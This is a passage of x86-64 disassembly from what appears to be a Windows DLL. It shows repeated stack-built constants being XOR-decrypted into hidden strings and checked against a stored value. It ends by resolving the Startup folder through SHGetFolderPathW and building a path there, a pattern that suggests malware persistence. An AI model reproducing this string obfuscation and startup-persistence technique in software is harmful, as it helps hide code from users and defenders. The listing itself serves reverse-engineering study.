mov qword [rbp + 0xbe68], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe70], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe78], rax
vmovdqu ymm0, ymmword [rbp + 0xf20]
vpxor ymm1, ymm0, ymmword [rbp + 0xbe60]
vmovdqa ymmword [rbp + 0xf20], ymm1
lea rdx, [rbp + 0xf20]
lea rcx, [rbp + 0x55d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x55d0]
lea rcx, [rbp + 0x8fc0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x27]
lea rcx, [rbp + 0x8fc0]
call fcn.180040870
nop
lea rcx, [rbp + 0x55d0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x56], al
mov byte [rbp + 0x57], al
movabs rax, 0xe5145ffdcd8e228c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x510], rax
movabs rax, 0x4dd6a69c56544085
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x518], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xada0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xada8], rax
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp + 0xada0]
movdqa xmmword [rbp + 0x510], xmm0
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x55b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x55b0]
lea rcx, [rbp + 0x8fe0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x28]
lea rcx, [rbp + 0x8fe0]
call fcn.180040870
nop
lea rcx, [rbp + 0x55b0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x58], al
mov byte [rbp + 0x59], al
movabs rax, 0xe11828c0cbf92d8f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x520], rax
movabs rax, 0x4dd6a69c68337c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x528], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad90], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad98], rax
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0xad90]
movdqa xmmword [rbp + 0x520], xmm0
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x5590]
call fcn.180004520
nop
lea rdx, [rbp + 0x5590]
lea rcx, [rbp + 0x9000]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x29]
lea rcx, [rbp + 0x9000]
call fcn.180040870
nop
lea rcx, [rbp + 0x5590]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x5a], al
mov byte [rbp + 0x5b], al
movabs rax, 0xb44c4fc0d7e94688
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x530], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x538], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad80], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad88], rax
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0xad80]
movdqa xmmword [rbp + 0x530], xmm0
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x5570]
call fcn.180004520
nop
lea rdx, [rbp + 0x5570]
lea rcx, [rbp + 0x9020]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x2a]
lea rcx, [rbp + 0x9020]
call fcn.180040870
nop
lea rcx, [rbp + 0x5570]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x5c], al
mov byte [rbp + 0x5d], al
movabs rax, 0xb9324fc3ca8e228e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x540], rax
movabs rax, 0x4dd6a69c675c7c87
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x548], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad70], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad78], rax
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp + 0xad70]
movdqa xmmword [rbp + 0x540], xmm0
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x5550]
call fcn.180004520
nop
lea rdx, [rbp + 0x5550]
lea rcx, [rbp + 0x9040]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x22]
lea rcx, [rbp + 0x9040]
call fcn.180040870
nop
lea rcx, [rbp + 0x5550]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x5e], al
mov byte [rbp + 0x5f], al
movabs rax, 0xf0452ac0c1d7328f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x550], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x558], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad60], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad68], rax
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rbp + 0xad60]
movdqa xmmword [rbp + 0x550], xmm0
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x5530]
call fcn.180004520
nop
lea rdx, [rbp + 0x5530]
lea rcx, [rbp + 0x9060]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x21]
lea rcx, [rbp + 0x9060]
call fcn.180040870
nop
lea rcx, [rbp + 0x5530]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x60], al
mov byte [rbp + 0x61], al
movabs rax, 0xf0184fc3c8ed328b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x560], rax
movabs rax, 0x4dd6a69c2f557cbf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x568], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad50], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad58], rax
movdqa xmm0, xmmword [rbp + 0x560]
pxor xmm0, xmmword [rbp + 0xad50]
movdqa xmmword [rbp + 0x560], xmm0
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x5510]
call fcn.180004520
nop
lea rdx, [rbp + 0x5510]
lea rcx, [rbp + 0x9080]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x2b]
lea rcx, [rbp + 0x9080]
call fcn.180040870
nop
lea rcx, [rbp + 0x5510]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x62], al
mov byte [rbp + 0x63], al
movabs rax, 0xfa325dfdcdd71888
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf40], rax
movabs rax, 0x70ebe7f867337c87
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf48], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf50], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf58], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbea0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbea8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbeb0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbeb8], rax
vmovdqu ymm0, ymmword [rbp + 0xf40]
vpxor ymm1, ymm0, ymmword [rbp + 0xbea0]
vmovdqa ymmword [rbp + 0xf40], ymm1
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0x54f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x54f0]
lea rcx, [rbp + 0x90a0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x2c]
lea rcx, [rbp + 0x90a0]
call fcn.180040870
nop
lea rcx, [rbp + 0x54f0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x64], al
mov byte [rbp + 0x65], al
movabs rax, 0xfc2a4fc3c2f54788
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf60], rax
movabs rax, 0x70ebe7f8640d19b3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf68], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf70], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf78], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbee0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbee8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbef0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbef8], rax
vmovdqu ymm0, ymmword [rbp + 0xf60]
vpxor ymm1, ymm0, ymmword [rbp + 0xbee0]
vmovdqa ymmword [rbp + 0xf60], ymm1
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x54d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x54d0]
lea rcx, [rbp + 0x90c0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x1f]
lea rcx, [rbp + 0x90c0]
call fcn.180040870
nop
lea rcx, [rbp + 0x54d0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x66], al
mov byte [rbp + 0x67], al
movabs rax, 0xf32a2ac0cdf13d88
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf80], rax
movabs rax, 0x708795ff621d1b85
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf88], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf90], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf98], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf00], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf08], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf10], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf18], rax
vmovdqu ymm0, ymmword [rbp + 0xf80]
vpxor ymm1, ymm0, ymmword [rbp + 0xbf00]
vmovdqa ymmword [rbp + 0xf80], ymm1
lea rdx, [rbp + 0xf80]
lea rcx, [rbp + 0x54b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x54b0]
lea rcx, [rbp + 0x90e0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x20]
lea rcx, [rbp + 0x90e0]
call fcn.180040870
nop
lea rcx, [rbp + 0x54b0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x68], al
mov byte [rbp + 0x69], al
movabs rax, 0xb44149f8d6d7478b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x570], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x578], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad40], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad48], rax
movdqa xmm0, xmmword [rbp + 0x570]
pxor xmm0, xmmword [rbp + 0xad40]
movdqa xmmword [rbp + 0x570], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x5490]
call fcn.180004520
nop
lea rdx, [rbp + 0x5490]
lea rcx, [rbp + 0x9100]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x1e]
lea rcx, [rbp + 0x9100]
call fcn.180040870
nop
lea rcx, [rbp + 0x5490]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x6a], al
mov byte [rbp + 0x6b], al
movabs rax, 0xb92a50facf82478c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfa0], rax
movabs rax, 0x3b8ccbfe582f73bc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfa8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfb0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfb8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf20], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf28], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf30], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf38], rax
vmovdqu ymm0, ymmword [rbp + 0xfa0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbf20]
vmovdqa ymmword [rbp + 0xfa0], ymm1
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0x5470]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5470]
lea rcx, [rbp + 0x9120]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne sil
mov byte [rbp + 0x1d], sil
lea rcx, [rbp + 0x9120]
call fcn.180040870
nop
lea rcx, [rbp + 0x5470]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x6c], al
mov byte [rbp + 0x6d], al
movabs rax, 0xdf2e76fad3e94688
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x580], rax
movabs rax, 0x4dd6a69c2f586a85
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x588], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad30], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad38], rax
movdqa xmm0, xmmword [rbp + 0x580]
pxor xmm0, xmmword [rbp + 0xad30]
movdqa xmmword [rbp + 0x580], xmm0
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x5450]
call fcn.180004520
nop
lea rdx, [rbp + 0x5450]
lea rcx, [rbp + 0x9140]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
movzx ebx, al
lea rcx, [rbp + 0x9140]
call fcn.180040870
nop
lea rcx, [rbp + 0x5450]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x6e], al
mov byte [rbp + 0x6f], al
movabs rax, 0xc11076fad3f54788
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfc0], rax
movabs rax, 0x70ebf7f96b2f73bf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfc8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfd0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfd8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf40], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf48], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf50], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf58], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbf40]
vmovdqa ymmword [rbp + 0xfc0], ymm1
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x5430]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5430]
lea rcx, [rbp + 0x9160]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x33]
lea rcx, [rbp + 0x9160]
call fcn.180040870
nop
lea rcx, [rbp + 0x5430]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x70], al
mov byte [rbp + 0x71], al
movabs rax, 0xda1076fbceed1b8f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfe0], rax
movabs rax, 0x70a1f1c57e3f73bc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfe8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xff0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xff8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf60], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf68], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf70], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf78], rax
vmovdqu ymm0, ymmword [rbp + 0xfe0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbf60]
vmovdqa ymmword [rbp + 0xfe0], ymm1
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x5410]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5410]
lea rcx, [rbp + 0x9180]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x30]
lea rcx, [rbp + 0x9180]
call fcn.180040870
nop
lea rcx, [rbp + 0x5410]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x72], al
mov byte [rbp + 0x73], al
movabs rax, 0xc11076fad3f54788
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1000], rax
movabs rax, 0x709ff2f96b2f73bf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1008], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1010], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1018], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf80], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf88], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf90], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf98], rax
vmovdqu ymm0, ymmword [rbp + 0x1000]
vpxor ymm1, ymm0, ymmword [rbp + 0xbf80]
vmovdqa ymmword [rbp + 0x1000], ymm1
lea rdx, [rbp + 0x1000]
lea rcx, [rbp + 0x53f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x53f0]
lea rcx, [rbp + 0x91a0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x34]
lea rcx, [rbp + 0x91a0]
call fcn.180040870
nop
lea rcx, [rbp + 0x53f0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x74], al
mov byte [rbp + 0x75], al
movabs rax, 0xff2e5dfd8ad34788
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x590], rax
movabs rax, 0x4dd6a69c2f511982
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x598], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae80], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae88], rax
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0xae80]
movdqa xmmword [rbp + 0x590], xmm0
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x53d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x53d0]
lea rcx, [rbp + 0x91c0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x32]
lea rcx, [rbp + 0x91c0]
call fcn.180040870
nop
lea rcx, [rbp + 0x53d0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x76], al
mov byte [rbp + 0x77], al
movabs rax, 0xff4d5dfad3df4688
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1020], rax
movabs rax, 0x7d80c8cd7e2b7382
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1028], rax
movabs rax, 0xc605de446445cb23
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1030], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1038], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfa0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfa8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfb0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfb8], rax
vmovdqu ymm0, ymmword [rbp + 0x1020]
vpxor ymm1, ymm0, ymmword [rbp + 0xbfa0]
vmovdqa ymmword [rbp + 0x1020], ymm1
lea rdx, [rbp + 0x1020]
lea rcx, [rbp + 0x53b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x53b0]
lea rcx, [rbp + 0x91e0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x31]
lea rcx, [rbp + 0x91e0]
call fcn.180040870
nop
lea rcx, [rbp + 0x53b0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x78], al
mov byte [rbp + 0x79], al
movabs rax, 0xff2e5dfd8ad34788
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1040], rax
movabs rax, 0x21e7f1fd47501982
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1048], rax
movabs rax, 0xfb38a9272c41eb24
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1050], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1058], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfc0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfc8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfd0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfd8], rax
vmovdqu ymm0, ymmword [rbp + 0x1040]
vpxor ymm1, ymm0, ymmword [rbp + 0xbfc0]
vmovdqa ymmword [rbp + 0x1040], ymm1
lea rdx, [rbp + 0x1040]
lea rcx, [rbp + 0x42d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x9200]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa318]
lea rcx, [rbp + 0xa530]
call fcn.180006800
nop
lea rcx, [rbp + 0x9200]
call fcn.180040870
nop
lea rcx, [rbp + 0x42d0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
test bl, bl
je 0x180028c33
call fcn.180004e10
cmp qword [sym.imp.SHELL32.dll_SHGetFolderPathW], 0
je 0x180028c33
lea rax, [rbp + 0xdb60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x180028c33
xor eax, eax
mov byte [rbp + 0x7a], al
mov byte [rbp + 0x7b], al
movabs rax, 0xcb044dc8ff823089
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1060], rax
movabs rax, 0xf84f0cd57276db3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1068], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1070], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1078], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfe0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbfe8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbff0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbff8], rax
vmovdqu ymm0, ymmword [rbp + 0x1060]
vpxor ymm1, ymm0, ymmword [rbp + 0xbfe0]
vmovdqa ymmword [rbp + 0x1060], ymm1
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x36f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x36f0]
lea rcx, [rbp + 0x9220]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x3710]
call fcn.180004520
nop
lea rdx, [rbp + 0x3710]
lea rcx, [rbp + 0xac38]
call fcn.180007160
nop
lea rcx, [rbp + 0x3710]
call fcn.180040870
nop
lea rcx, [rbp + 0x9220]
call fcn.180040870
nop
lea rcx, [rbp + 0x36f0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x7c], al
mov byte [rbp + 0x7d], al
movabs rax, 0xe52e2bfa8ef53d85
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1080], rax
movabs rax, 0x70a1e1fe79507884
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1088], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1090], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1098], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc000], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc008], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc010], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc018], rax
vmovdqu ymm0, ymmword [rbp + 0x1080]
vpxor ymm1, ymm0, ymmword [rbp + 0xc000]
vmovdqa ymmword [rbp + 0x1080], ymm1
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x36d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x36d0]
lea rcx, [rbp + 0x5930]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xac38]
lea rcx, [rbp + 0xa550]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x5930]
call fcn.180040870
nop
lea rcx, [rbp + 0x36d0]
call fcn.180040870
lea rdx, [rbp + 0xdb60]
lea rcx, [rbp + 0xa738]
call fcn.180040420
nop
lea rcx, [rbp + 0x7e]
call fcn.180004580
mov rsi, rax
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0xa738]
call fcn.1800403e0
mov rbx, qword [rax]
lea rdx, [rbp + 0x2da0]
lea rcx, [rbp + 0xa738]
call fcn.180040400
mov r9, rsi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xab38]
call fcn.180042ea0
nop
xor eax, eax
mov byte [rbp + 0x7f], al
